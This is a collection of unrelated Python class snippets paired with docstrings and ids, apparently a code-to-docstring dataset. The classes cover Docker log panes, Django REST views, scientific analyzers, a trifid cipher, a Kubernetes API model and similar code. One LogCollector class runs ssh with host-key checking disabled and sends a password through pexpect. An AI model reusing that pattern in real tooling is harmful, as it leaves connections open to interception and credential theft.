class LogsPane(Pane): <NEW_LINE> <INDENT> def fetch(self): <NEW_LINE> <INDENT> args = ['docker', 'logs', '-t'] <NEW_LINE> if self.last_timestamp: <NEW_LINE> <INDENT> args.extend(['--since', self.last_timestamp]) <NEW_LINE> <DEDENT> args.append(self.name) <NEW_LINE> try: <NEW_LINE> <INDENT> output = subprocess.check_output(args, stderr=subprocess.STDOUT).splitlines() <NEW_LINE> <DEDENT> except subprocess.CalledProcessError: <NEW_LINE> <INDENT> return [] <NEW_LINE> <DEDENT> if len(output) > 0: <NEW_LINE> <INDENT> ts = output[-1].split()[0] <NEW_LINE> utc_dt = dt.datetime.strptime(ts[:19], '%Y-%m-%dT%H:%M:%S') <NEW_LINE> now = time.time() <NEW_LINE> offset = dt.datetime.fromtimestamp(now) - dt.datetime.utcfromtimestamp(now) <NEW_LINE> utc_dt = utc_dt + offset <NEW_LINE> self.last_timestamp = str(int(time.mktime(utc_dt.timetuple()))) <NEW_LINE> <DEDENT> output = [line[31:] for line in output] <NEW_LINE> return output | A LogsPane streams its data from a subprocess so the paint method is
completely different and we need to make sure we clean up files and
processes left over. | 62598fe6187af65679d29f8c |
class TransferRateAnalyzer(object): <NEW_LINE> <INDENT> def __init__(self, data=None, xmin=None, ymin=None, zmin=None, xmax=None, ymax=None, zmax=None): <NEW_LINE> <INDENT> self.data = data <NEW_LINE> uinput = "" <NEW_LINE> self.data = [] <NEW_LINE> try: <NEW_LINE> <INDENT> self.data.extend(data) <NEW_LINE> <DEDENT> except: <NEW_LINE> <INDENT> self.data = [ data ] <NEW_LINE> <DEDENT> self.times = {} <NEW_LINE> self.colors = {} <NEW_LINE> self._calc = {} <NEW_LINE> self._refs = {} <NEW_LINE> if not self.data: <NEW_LINE> <INDENT> self.data = [] <NEW_LINE> while uinput != "EOF": <NEW_LINE> <INDENT> uinput = raw_input("Type EOF to stop prompting for trajectories > ") <NEW_LINE> self.data.append(TrajectorySet()) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> def analyze(self): <NEW_LINE> <INDENT> for dat in self.data: <NEW_LINE> <INDENT> (self._calc[dat.name], self._refs[dat.name]) = self._analyze_one(dat) <NEW_LINE> self.times[dat.name] = dat.times <NEW_LINE> self.colors[dat.name] = dat.color <NEW_LINE> <DEDENT> return self._calc <NEW_LINE> <DEDENT> def _analyze_one(self, trajset): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def plot(self, title=None, xlabel=None, ylabel=None, smoothing=5): <NEW_LINE> <INDENT> if not self._calc: <NEW_LINE> <INDENT> print("Performing calculation...") <NEW_LINE> self.analyze() <NEW_LINE> <DEDENT> if title is None: <NEW_LINE> <INDENT> title = raw_input("What should the plot title be? > ") <NEW_LINE> <DEDENT> if xlabel is None: <NEW_LINE> <INDENT> xlabel = raw_input("What should the plot xlabel be? > ") <NEW_LINE> <DEDENT> if ylabel is None: <NEW_LINE> <INDENT> ylabel = raw_input("What should the plot ylabel be? > ") <NEW_LINE> <DEDENT> (figure, axes) = plt.subplots() <NEW_LINE> axes.set_title(title) <NEW_LINE> axes.set_xlabel(xlabel) <NEW_LINE> axes.set_ylabel(ylabel) <NEW_LINE> for label in self._calc: <NEW_LINE> <INDENT> data = self._calc[label] <NEW_LINE> i = 0 <NEW_LINE> for dat in data: <NEW_LINE> <INDENT> if i==0: l=label <NEW_LINE> else: l="" <NEW_LINE> axes.plot(self.times[label][:len(dat)], sliding_mean(dat, window=smoothing), color=self.colors[label], linewidth=1.0, label=l) <NEW_LINE> i = 1 <NEW_LINE> <DEDENT> axes.plot([0,self.times[label][-1]], [self._refs[label], self._refs[label]], linestyle='--', linewidth=1.0, color=self.colors[label]) <NEW_LINE> print("REFERENCE = %f" % self._refs[label]) <NEW_LINE> <DEDENT> axes.legend() <NEW_LINE> return figure | Analyzes a trajectory for number of molecules of a specified type that
go in or out of a region. Provides both the number of molecules in
the region over time as well as a transfer rate in and out.
Attributes:
data (list of TrajectorySet): Raw trajectories to analyze
_calc (dict str->numpy 2D array): Analyzed data for all stuff,
one data column per replicate in the array
times (dict str->numpy 1D array): Time in ps per frame for each
trajectory, keyed by name
colors (dict str->str): Color for each trajectory when plotting,
keyed by name
_ref (dict str->float): Reference structure calculation for each
trajectory, keyed by name | 62598fe64c3428357761a9d9 |
class RecipeCommentViewSet(viewsets.ModelViewSet): <NEW_LINE> <INDENT> queryset = RecipeComment.objects.all() <NEW_LINE> serializer_class = RecipeCommentSerializer <NEW_LINE> pagination_class = StandardResultsSetPagination <NEW_LINE> filter_class = RecipeCommentFilter <NEW_LINE> ordering_filter = OrderingFilter() <NEW_LINE> ordering_fields = '__all__' <NEW_LINE> ordering = ('-timestamp') <NEW_LINE> def get_permissions(self): <NEW_LINE> <INDENT> if self.action == 'list' or self.action == 'retrieve': <NEW_LINE> <INDENT> self.permission_classes = (AllowAny,) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.permission_classes = (IsAuthenticatedOrReadOnly,) <NEW_LINE> <DEDENT> return super(RecipeCommentViewSet, self).get_permissions() <NEW_LINE> <DEDENT> def filter_queryset(self, queryset): <NEW_LINE> <INDENT> queryset = super(RecipeCommentViewSet, self).filter_queryset(queryset) <NEW_LINE> return self.ordering_filter.filter_queryset(self.request, queryset, self) <NEW_LINE> <DEDENT> def perform_create(self, serializer): <NEW_LINE> <INDENT> serializer.save(user=self.request.user) | API endpoint that allows comments to be viewed or edited. | 62598fe6fbf16365ca7947f0 |
class IHelloServiceServicer(object): <NEW_LINE> <INDENT> def findHello(self, request, context): <NEW_LINE> <INDENT> context.set_code(grpc.StatusCode.UNIMPLEMENTED) <NEW_LINE> context.set_details('Method not implemented!') <NEW_LINE> raise NotImplementedError('Method not implemented!') | 活动服务
| 62598fe726238365f5fad292 |
class LogCollector(object): <NEW_LINE> <INDENT> ERROR_LOG_FILE = '/var/log/apache2/error.log' <NEW_LINE> def __init__(self, hostname, username, password): <NEW_LINE> <INDENT> self.hostname = hostname <NEW_LINE> self.username = username <NEW_LINE> self.password = password <NEW_LINE> self.apache_error_log_lines = None <NEW_LINE> <DEDENT> def initialize(self): <NEW_LINE> <INDENT> self.apache_error_log_lines = self._wc(self.ERROR_LOG_FILE) <NEW_LINE> <DEDENT> def finalize(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def get_new_errors(self): <NEW_LINE> <INDENT> end_lines = self._wc(self.ERROR_LOG_FILE) <NEW_LINE> new_lines = end_lines - self.apache_error_log_lines <NEW_LINE> if new_lines <= 0: <NEW_LINE> <INDENT> return [] <NEW_LINE> <DEDENT> return self.run('tail -n {0} {1}'.format( new_lines, self.ERROR_LOG_FILE)) <NEW_LINE> <DEDENT> def get_all_errors(self): <NEW_LINE> <INDENT> return self.run('cat {0}'.format(self.ERROR_LOG_FILE)) <NEW_LINE> <DEDENT> def _spawn_args(self, cmd): <NEW_LINE> <INDENT> return { 'command': 'ssh', 'args': [ '-o', 'UserKnownHostsFile=/dev/null', '-o', 'StrictHostKeyChecking=no', '{0}@{1}'.format(self.username, self.hostname), cmd, ], 'timeout': 10, } <NEW_LINE> <DEDENT> def run(self, cmd): <NEW_LINE> <INDENT> args = self._spawn_args(cmd) <NEW_LINE> c = pexpect.spawn(**args) <NEW_LINE> c.expect('assword:') <NEW_LINE> c.sendline(self.password) <NEW_LINE> c.expect(pexpect.EOF) <NEW_LINE> return [x.strip() for x in c.before.split(b'\r\n') if x.strip()] <NEW_LINE> <DEDENT> def start_log(self): <NEW_LINE> <INDENT> new_log = LogCollector(self.hostname, self.username, self.password) <NEW_LINE> new_log.initialize() <NEW_LINE> return new_log <NEW_LINE> <DEDENT> def _wc(self, filename): <NEW_LINE> <INDENT> cmd = 'wc -l {0}'.format(filename) <NEW_LINE> ans = self.run(cmd) <NEW_LINE> return int(ans[0].split()[0]) | Collects the error logs during a test's execution. | 62598fe7c4546d3d9def761f |
class glogistic_gen(dist.rv_continuous): <NEW_LINE> <INDENT> numargs = 1 <NEW_LINE> def _argcheck(self, k): <NEW_LINE> <INDENT> return (k == k) <NEW_LINE> <DEDENT> def _cdf(self, x, k): <NEW_LINE> <INDENT> u = where(k == 0, exp(-x), (1. - k * x) ** (1. / k)) <NEW_LINE> return 1. / (1. + u) <NEW_LINE> <DEDENT> def _pdf(self, x, k): <NEW_LINE> <INDENT> u = where(k == 0, exp(-x), (1. - k * x) ** (1. / k)) <NEW_LINE> return u ** (1. - k) / (1. + u) ** 2 <NEW_LINE> <DEDENT> def _ppf(self, q, k): <NEW_LINE> <INDENT> F = q / (1. - q) <NEW_LINE> return where(k == 0, log(F), (1 - F ** (-k)) / k) | The CDF is given by
.. math::
F(x;k) = \frac{1}{1 + \left[1 - kx\right]^{1/k}}
| 62598fe74c3428357761a9e1 |
class UserProfile(models.Model): <NEW_LINE> <INDENT> user = models.OneToOneField(User, verbose_name=_('User')) <NEW_LINE> profile_photo = models.ImageField(upload_to=profile_photo_upload_path, validators=[file_size_limit], null=True, blank=True, verbose_name=_('Profile photo')) <NEW_LINE> c_time = models.DateTimeField(auto_now_add=True, verbose_name=_('Create date')) <NEW_LINE> def __unicode__(self): <NEW_LINE> <INDENT> return self.user.username <NEW_LINE> <DEDENT> class Meta: <NEW_LINE> <INDENT> verbose_name = _('User profile') <NEW_LINE> verbose_name_plural = _('User profiles') <NEW_LINE> ordering = ['-c_time'] | 登录用户 | 62598fe7091ae35668705353 |
class Trifid(Bifid): <NEW_LINE> <INDENT> def __init__(self, key, period=0): <NEW_LINE> <INDENT> if not isinstance(key, util.Polybius): <NEW_LINE> <INDENT> key = util.Polybius('', key, 3) <NEW_LINE> <DEDENT> if key.dimensions != 3: <NEW_LINE> <INDENT> raise ValueError('Key must be a Polybius cube!') <NEW_LINE> <DEDENT> self.polybius = key <NEW_LINE> self.period = int(period) | The trifid cipher is another cipher by Felix Delastelle. It extends the
concept of his bifid cipher into the third dimension; where the bifid
cipher uses a Polybius square as the key, the trifid cipher uses a stack
of n n x n Polybius squares (where n is canonically 3) as a Polybius
cube.
Other than dealing with three coordinates instead of two, the trifid
cipher works in essentially the same way as the bifid cipher. | 62598fe7ab23a570cc2d5109 |
class UserAgentMiddleware(object): <NEW_LINE> <INDENT> def process_request(self, request, spider): <NEW_LINE> <INDENT> agent = random.choice(Agents) <NEW_LINE> request.headers["User-Agent"] = agent | 换User-Agent | 62598fe7c4546d3d9def7622 |
class MissingRepoError(Exception): <NEW_LINE> <INDENT> pass | Use this if a repo at a path is missing in a script | 62598fe7ad47b63b2c5a7f8a |
class Cursor: <NEW_LINE> <INDENT> def __init__(self, scr): <NEW_LINE> <INDENT> self.screen = scr <NEW_LINE> self.x, self.y = 1, 1 <NEW_LINE> self.last_screen_dimensions = { "width": int(self.screen.get_width()), "height": int(self.screen.get_height()) } <NEW_LINE> self.saved_positions = {} <NEW_LINE> <DEDENT> def correct_position(self): <NEW_LINE> <INDENT> width = self.screen.get_width() <NEW_LINE> height = self.screen.get_height() <NEW_LINE> if self.last_screen_dimensions["width"] > width: <NEW_LINE> <INDENT> self.x -= self.last_screen_dimensions["width"] - width <NEW_LINE> <DEDENT> if self.last_screen_dimensions["height"] > height: <NEW_LINE> <INDENT> self.y -= self.last_screen_dimensions["height"] - height <NEW_LINE> <DEDENT> <DEDENT> def save_position(self, name, position): <NEW_LINE> <INDENT> self.saved_positions[name] = {} <NEW_LINE> self.saved_positions[name]["x"] = position[0] <NEW_LINE> self.saved_positions[name]["y"] = position[1] <NEW_LINE> <DEDENT> def delete_position(self, name): <NEW_LINE> <INDENT> if name in self.saved_positions: <NEW_LINE> <INDENT> del self.saved_positions[name] <NEW_LINE> <DEDENT> <DEDENT> def load_position(self, name): <NEW_LINE> <INDENT> x = self.saved_positions[name]["x"] <NEW_LINE> y = self.saved_positions[name]["y"] <NEW_LINE> self.pos(x, y) <NEW_LINE> <DEDENT> def pos(self, x, y): <NEW_LINE> <INDENT> if isinstance(x, float): <NEW_LINE> <INDENT> x = int(x) <NEW_LINE> <DEDENT> self.screen.write(colorama.Cursor.POS(x, y), ansi=True) <NEW_LINE> self.x = x <NEW_LINE> self.y = y <NEW_LINE> return x, y <NEW_LINE> <DEDENT> def reset_pos(self): <NEW_LINE> <INDENT> return self.pos(1, 1) <NEW_LINE> <DEDENT> def pos_up(self, y=1): <NEW_LINE> <INDENT> self.y -= y <NEW_LINE> return self.pos(self.x, self.y) <NEW_LINE> <DEDENT> def pos_down(self, y=1): <NEW_LINE> <INDENT> self.y += y <NEW_LINE> return self.pos(self.x, self.y) <NEW_LINE> <DEDENT> def pos_left(self, x=1): <NEW_LINE> <INDENT> self.x -= x <NEW_LINE> return self.pos(self.x, self.y) <NEW_LINE> <DEDENT> def pos_right(self, x=1): <NEW_LINE> <INDENT> self.x += x <NEW_LINE> return self.pos(self.x, self.y) | Cursor class is just to make my life easier by positioning the
cursor within menus and other stuff needed.
It automatically defaults the x and y for certain reasons
that break the command prompt.
It has input function that finds simply returns the arrow or
wasd keys that will be used to position the cursor.
pos is used to position the cursor. | 62598fe74c3428357761a9e9 |
class Item(metaclass=abc.ABCMeta): <NEW_LINE> <INDENT> def __init__(self, name, packing, price): <NEW_LINE> <INDENT> self.name = name <NEW_LINE> self.packing = packing <NEW_LINE> self.price = price <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> print("{}价格:{}".format(self.name, self.price)) | 表示食物条目:汉堡 / 冷饮等 | 62598fe7091ae3566870535b |
class line(myObject): <NEW_LINE> <INDENT> def __init__(self, p1, p2): <NEW_LINE> <INDENT> typeTest([point, p1.__class__], p1, p2) <NEW_LINE> self.para = ("p1", "p2") <NEW_LINE> self.p1 = p1 <NEW_LINE> self.p2 = p2 <NEW_LINE> <DEDENT> def offset(self, dis): <NEW_LINE> <INDENT> typeTest([Num.const], dis) <NEW_LINE> v = vector(self.p2.x - self.p1.x, self.p2.y - self.p1.y).clw().unit * dis <NEW_LINE> return self.move(v) <NEW_LINE> <DEDENT> def angle_between(self, another): <NEW_LINE> <INDENT> typeTest([line], another) <NEW_LINE> p1 = eval(fun(Point, self.p1.args)) <NEW_LINE> p2 = eval(fun(Point, self.p2.args)) <NEW_LINE> p3 = eval(fun(Point, another.p1.args)) <NEW_LINE> p4 = eval(fun(Point, another.p2.args)) <NEW_LINE> l1, l2 = Line(p1, p2), Line(p3, p4) <NEW_LINE> return float(l1.angle_between(l2)) <NEW_LINE> <DEDENT> @property <NEW_LINE> def sympy(self): <NEW_LINE> <INDENT> return eval("Segment" + self.args.__repr__().title()) <NEW_LINE> <DEDENT> @property <NEW_LINE> def Line(self): <NEW_LINE> <INDENT> return eval("Line" + self.args.__repr__().title()) <NEW_LINE> <DEDENT> @property <NEW_LINE> def length(self): <NEW_LINE> <INDENT> return vector(self.p1, self.p2).length <NEW_LINE> <DEDENT> @property <NEW_LINE> def slope(self): <NEW_LINE> <INDENT> return vector(self.p1, self.p2).slope <NEW_LINE> <DEDENT> def merge(self, another): <NEW_LINE> <INDENT> typeTest([line], another) <NEW_LINE> il = self.sympy.intersection(another.sympy) <NEW_LINE> if il != [] and isinstance(il[0], Segment): <NEW_LINE> <INDENT> p1, p2 = self.p1, self.p2 <NEW_LINE> p3, p4 = another.p1, another.p2 <NEW_LINE> pl = [p1, p2, p3, p4] <NEW_LINE> if self.slope in [float("inf"), -float("inf")]: <NEW_LINE> <INDENT> pl.sort(lambda a, b: cmp(a.y, b.y)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> pl.sort(lambda a, b: cmp(a.x, b.x)) <NEW_LINE> <DEDENT> return line(pl[0], pl[-1]) <NEW_LINE> <DEDENT> raise ValueError("Expect overlapped lines") <NEW_LINE> <DEDENT> def is_intersect(self, another): <NEW_LINE> <INDENT> typeTest([line], another) <NEW_LINE> il = self.sympy.intersection(another.sympy) <NEW_LINE> if il != [] and isinstance(il[0], Point): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> return False <NEW_LINE> <DEDENT> def is_overlapped(self, another): <NEW_LINE> <INDENT> typeTest([line], another) <NEW_LINE> il = self.sympy.intersection(another.sympy) <NEW_LINE> if il != [] and isinstance(il[0], Segment): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> return False <NEW_LINE> <DEDENT> def draw(self, msp, dxfattribs=None): <NEW_LINE> <INDENT> typeTest([ezdxf.modern.layouts.Layout], msp) <NEW_LINE> return msp.add_line(self.p1.args, self.p2.args, dxfattribs) | 2D/3D line P1 to P2 | 62598fe7187af65679d29f96 |
class CancerRecord(db.Model): <NEW_LINE> <INDENT> __tablename__ = "cancer_history" <NEW_LINE> id = db.Column(db.Integer, primary_key=True, autoincrement=True) <NEW_LINE> patient_id = db.Column(db.Integer, db.ForeignKey('patients.id')) <NEW_LINE> age = db.Column(db.Integer) <NEW_LINE> bmi = db.Column(db.Float) <NEW_LINE> glucose = db.Column(db.Float) <NEW_LINE> insulin = db.Column(db.Float) <NEW_LINE> homa = db.Column(db.Integer) <NEW_LINE> leptin = db.Column(db.Float) <NEW_LINE> adiponectin = db.Column(db.Integer) <NEW_LINE> resistin = db.Column(db.Integer) <NEW_LINE> mcp_1 = db.Column(db.Float) <NEW_LINE> prediction = db.Column(db.Integer) <NEW_LINE> timestamp = db.Column(db.DateTime, nullable=False) <NEW_LINE> def get_timestamp(self): <NEW_LINE> <INDENT> return datetime.now().strftime(("%Y-%m-%d %H:%M:%S")) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return "<User '{}'>".format(self.username) | Cancer object to store patient diabetes data | 62598fe7091ae3566870535d |
class Character(DefaultCharacter): <NEW_LINE> <INDENT> def at_object_creation(self): <NEW_LINE> <INDENT> self.db.desc = "a wide-eyed villager" <NEW_LINE> self.db.evscaperoom_standalone = True <NEW_LINE> <DEDENT> def at_post_puppet(self, **kwargs): <NEW_LINE> <INDENT> from evscaperoom.menu import run_evscaperoom_menu <NEW_LINE> run_evscaperoom_menu(self) <NEW_LINE> def message(obj, from_obj): <NEW_LINE> <INDENT> obj.msg("%s has entered the menu." % self.get_display_name(obj), from_obj=from_obj) <NEW_LINE> <DEDENT> self.location.for_contents(message, exclude=[self], from_obj=self) | The Character defaults to reimplementing some of base Object's hook methods with the
following functionality:
at_basetype_setup - always assigns the DefaultCmdSet to this object type
(important!)sets locks so character cannot be picked up
and its commands only be called by itself, not anyone else.
(to change things, use at_object_creation() instead).
at_after_move(source_location) - Launches the "look" command after every move.
at_post_unpuppet(account) - when Account disconnects from the Character, we
store the current location in the pre_logout_location Attribute and
move it to a None-location so the "unpuppeted" character
object does not need to stay on grid. Echoes "Account has disconnected"
to the room.
at_pre_puppet - Just before Account re-connects, retrieves the character's
pre_logout_location Attribute and move it back on the grid.
at_post_puppet - Echoes "AccountName has entered the game" to the room. | 62598fe7ab23a570cc2d510d |
class Ls(CommandLine): <NEW_LINE> <INDENT> def process_with_json(self, json): <NEW_LINE> <INDENT> if 'path' in json: <NEW_LINE> <INDENT> path = json['path'] <NEW_LINE> if not self.execute_command(['ls', '-l', path]): <NEW_LINE> <INDENT> if not hasattr(self, 'error'): <NEW_LINE> <INDENT> self.error = 400 <NEW_LINE> <DEDENT> return False <NEW_LINE> <DEDENT> stdout = self.result['stdout'] <NEW_LINE> self.result = {} <NEW_LINE> self.result['list'] = [] <NEW_LINE> for line in stdout: <NEW_LINE> <INDENT> parsed = self.parse_line(line) <NEW_LINE> if parsed: <NEW_LINE> <INDENT> self.result['list'].append(parsed) <NEW_LINE> <DEDENT> <DEDENT> return True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.error = 400 <NEW_LINE> return False <NEW_LINE> <DEDENT> <DEDENT> def parse_line(self, line): <NEW_LINE> <INDENT> result = {} <NEW_LINE> regex = re.compile(r'(?P<type>[dl\-])[rwx\-]{9} +\d+ \w+ +\w+ +\d+ \w+ \d+ +[\d:]+ +(?P<name>.*?)( -> (?P<target>.*))?\n') <NEW_LINE> match = regex.match(line) <NEW_LINE> if match: <NEW_LINE> <INDENT> types = {'d': 'directory', '-': 'file', 'l': 'link'} <NEW_LINE> if match.group('type') in types: <NEW_LINE> <INDENT> result['type'] = types[match.group('type')] <NEW_LINE> <DEDENT> for key in ['name', 'target']: <NEW_LINE> <INDENT> if match.group(key): <NEW_LINE> <INDENT> result[key] = match.group(key) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> print("Don't match") <NEW_LINE> <DEDENT> return result | Class to process ls entry and to format the reply | 62598fe7187af65679d29f9b |
class APNSUnknownError(APNSServerError): <NEW_LINE> <INDENT> code = 255 <NEW_LINE> description = 'Unknown' | Exception for APNS unknown error. | 62598fe7ad47b63b2c5a7f9a |
class ProgressBar: <NEW_LINE> <INDENT> def __init__(self, minValue = 0, maxValue = 10, totalWidth=12): <NEW_LINE> <INDENT> self.progBar = "[]" <NEW_LINE> self.min = minValue <NEW_LINE> self.max = maxValue <NEW_LINE> self.span = maxValue - minValue <NEW_LINE> self.width = totalWidth <NEW_LINE> self.amount = 0 <NEW_LINE> self.updateAmount(0) <NEW_LINE> <DEDENT> def updateAmount(self, newAmount = 0): <NEW_LINE> <INDENT> if newAmount < self.min: newAmount = self.min <NEW_LINE> if newAmount > self.max: newAmount = self.max <NEW_LINE> self.amount = newAmount <NEW_LINE> diffFromMin = float(self.amount - self.min) <NEW_LINE> percentDone = (diffFromMin / float(self.span)) * 100.0 <NEW_LINE> percentDone = round(percentDone) <NEW_LINE> percentDone = int(percentDone) <NEW_LINE> allFull = self.width - 2 <NEW_LINE> numHashes = (percentDone / 100.0) * allFull <NEW_LINE> numHashes = int(round(numHashes)) <NEW_LINE> if numHashes == 0: <NEW_LINE> <INDENT> self.progBar = "[>%s]" % (' '*(allFull-1)) <NEW_LINE> <DEDENT> elif numHashes == allFull: <NEW_LINE> <INDENT> self.progBar = "[%s]" % ('='*allFull) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.progBar = "[%s>%s]" % ('='*(numHashes-1), ' '*(allFull-numHashes)) <NEW_LINE> <DEDENT> percentPlace = (len(self.progBar) / 2) - len(str(percentDone)) <NEW_LINE> percentString = str(percentDone) + "%" <NEW_LINE> self.progBar = self.progBar[0:percentPlace] + percentString + self.progBar[percentPlace+len(percentString):] <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return str(self.progBar) <NEW_LINE> <DEDENT> def __call__(self, value): <NEW_LINE> <INDENT> self.updateAmount(value) <NEW_LINE> bar = str(self) <NEW_LINE> sys.stdout.write(bar + "\r") <NEW_LINE> sys.stdout.flush() | originally posted by Randy Pargman
modified by Children's Hospital of Boston | 62598fe7ab23a570cc2d5113 |
class NonparameterizedConvolution2D(function.Function): <NEW_LINE> <INDENT> def __init__(self, stride=1, pad=0, use_cudnn=True): <NEW_LINE> <INDENT> self.stride = stride <NEW_LINE> self.pad = pad <NEW_LINE> self.use_cudnn = use_cudnn <NEW_LINE> <DEDENT> def check_type_forward(self, in_types): <NEW_LINE> <INDENT> type_check.expect( 2 <= in_types.size(), in_types.size() <= 3, ) <NEW_LINE> x_type = in_types[0] <NEW_LINE> w_type = in_types[1] <NEW_LINE> type_check.expect( x_type.dtype == numpy.float32, w_type.dtype == numpy.float32, x_type.ndim == 4, w_type.ndim == 4, x_type.shape[1] == w_type.shape[1], ) <NEW_LINE> if in_types.size().eval() == 3: <NEW_LINE> <INDENT> b_type = in_types[2] <NEW_LINE> type_check.expect( b_type.dtype == numpy.float32, b_type.ndim == 1, b_type.shape[0] == w_type.shape[0], ) <NEW_LINE> <DEDENT> <DEDENT> def forward(self, x): <NEW_LINE> <INDENT> W = x[1] <NEW_LINE> b = None <NEW_LINE> if len(x) == 3: <NEW_LINE> <INDENT> b = x[2] <NEW_LINE> <DEDENT> func = conv2d_module.Convolution2D( W.shape[1], W.shape[0], W.shape[2:], stride=self.stride, pad=self.pad, use_cudnn=self.use_cudnn, initialW=W, initial_bias=b) <NEW_LINE> self.func = func <NEW_LINE> if any(isinstance(i, cuda.GPUArray) for i in x): <NEW_LINE> <INDENT> func.to_gpu() <NEW_LINE> <DEDENT> return func.forward(x[:1]) <NEW_LINE> <DEDENT> def backward(self, x, gy): <NEW_LINE> <INDENT> func = self.func <NEW_LINE> func.zero_grads() <NEW_LINE> gx = func.backward(x[:1], gy) <NEW_LINE> if func.gb is None: <NEW_LINE> <INDENT> return (gx[0], func.gW) <NEW_LINE> <DEDENT> return (gx[0], func.gW, func.gb) | Two-dimensional nonparameterized convolution class.
Args:
stride (int or (int, int)): Stride of filter applications.
``stride=s`` and ``stride=(s, s)`` are equivalent.
pad (int or (int, int)): Spatial padding width for input arrays.
``pad=p`` and ``pad=(p, p)`` are equivalent.
use_cudnn (bool): If True, then this function uses CuDNN if available.
.. seealso:: :class:`Convolution2D` | 62598fe726238365f5fad2b0 |
class Tags: <NEW_LINE> <INDENT> pattern = "pattern" <NEW_LINE> srai = "srai" <NEW_LINE> scene = "scene" <NEW_LINE> template = "template" <NEW_LINE> category = "category" <NEW_LINE> that = "that" <NEW_LINE> insert = "insert" | The known xml tags of AIML, just to group this info together,
and give aditional documentation | 62598fe826238365f5fad2b2 |
class V1HTTPGetAction(object): <NEW_LINE> <INDENT> swagger_types = { 'host': 'str', 'http_headers': 'list[V1HTTPHeader]', 'path': 'str', 'port': 'object', 'scheme': 'str' } <NEW_LINE> attribute_map = { 'host': 'host', 'http_headers': 'httpHeaders', 'path': 'path', 'port': 'port', 'scheme': 'scheme' } <NEW_LINE> def __init__(self, host=None, http_headers=None, path=None, port=None, scheme=None): <NEW_LINE> <INDENT> self._host = None <NEW_LINE> self._http_headers = None <NEW_LINE> self._path = None <NEW_LINE> self._port = None <NEW_LINE> self._scheme = None <NEW_LINE> self.discriminator = None <NEW_LINE> if host is not None: <NEW_LINE> <INDENT> self.host = host <NEW_LINE> <DEDENT> if http_headers is not None: <NEW_LINE> <INDENT> self.http_headers = http_headers <NEW_LINE> <DEDENT> if path is not None: <NEW_LINE> <INDENT> self.path = path <NEW_LINE> <DEDENT> self.port = port <NEW_LINE> if scheme is not None: <NEW_LINE> <INDENT> self.scheme = scheme <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def host(self): <NEW_LINE> <INDENT> return self._host <NEW_LINE> <DEDENT> @host.setter <NEW_LINE> def host(self, host): <NEW_LINE> <INDENT> self._host = host <NEW_LINE> <DEDENT> @property <NEW_LINE> def http_headers(self): <NEW_LINE> <INDENT> return self._http_headers <NEW_LINE> <DEDENT> @http_headers.setter <NEW_LINE> def http_headers(self, http_headers): <NEW_LINE> <INDENT> self._http_headers = http_headers <NEW_LINE> <DEDENT> @property <NEW_LINE> def path(self): <NEW_LINE> <INDENT> return self._path <NEW_LINE> <DEDENT> @path.setter <NEW_LINE> def path(self, path): <NEW_LINE> <INDENT> self._path = path <NEW_LINE> <DEDENT> @property <NEW_LINE> def port(self): <NEW_LINE> <INDENT> return self._port <NEW_LINE> <DEDENT> @port.setter <NEW_LINE> def port(self, port): <NEW_LINE> <INDENT> if port is None: <NEW_LINE> <INDENT> raise ValueError("Invalid value for `port`, must not be `None`") <NEW_LINE> <DEDENT> self._port = port <NEW_LINE> <DEDENT> @property <NEW_LINE> def scheme(self): <NEW_LINE> <INDENT> return self._scheme <NEW_LINE> <DEDENT> @scheme.setter <NEW_LINE> def scheme(self, scheme): <NEW_LINE> <INDENT> self._scheme = scheme <NEW_LINE> <DEDENT> def to_dict(self): <NEW_LINE> <INDENT> result = {} <NEW_LINE> for attr, _ in six.iteritems(self.swagger_types): <NEW_LINE> <INDENT> value = getattr(self, attr) <NEW_LINE> if isinstance(value, list): <NEW_LINE> <INDENT> result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) <NEW_LINE> <DEDENT> elif hasattr(value, "to_dict"): <NEW_LINE> <INDENT> result[attr] = value.to_dict() <NEW_LINE> <DEDENT> elif isinstance(value, dict): <NEW_LINE> <INDENT> result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> result[attr] = value <NEW_LINE> <DEDENT> <DEDENT> return result <NEW_LINE> <DEDENT> def to_str(self): <NEW_LINE> <INDENT> return pprint.pformat(self.to_dict()) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return self.to_str() <NEW_LINE> <DEDENT> def __eq__(self, other): <NEW_LINE> <INDENT> if not isinstance(other, V1HTTPGetAction): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return self.__dict__ == other.__dict__ <NEW_LINE> <DEDENT> def __ne__(self, other): <NEW_LINE> <INDENT> return not self == other | NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually. | 62598fe8091ae3566870536f |
class DvTable(AbstractOrderderTable): <NEW_LINE> <INDENT> _id = Columns.SerialColumn() <NEW_LINE> _runid = Columns.FloatColumn() <NEW_LINE> _source_system = Columns.TextColumn() <NEW_LINE> _valid = Columns.BoolColumn(default_value=True) <NEW_LINE> _validation_msg = Columns.TextColumn() <NEW_LINE> _insert_date = Columns.DateTimeColumn() | Basis abstracte tabel voor alle datavault tabellen. Deze bevat de vast velden die in alle datavault tabellen nodig zijn. | 62598fe84c3428357761a9ff |
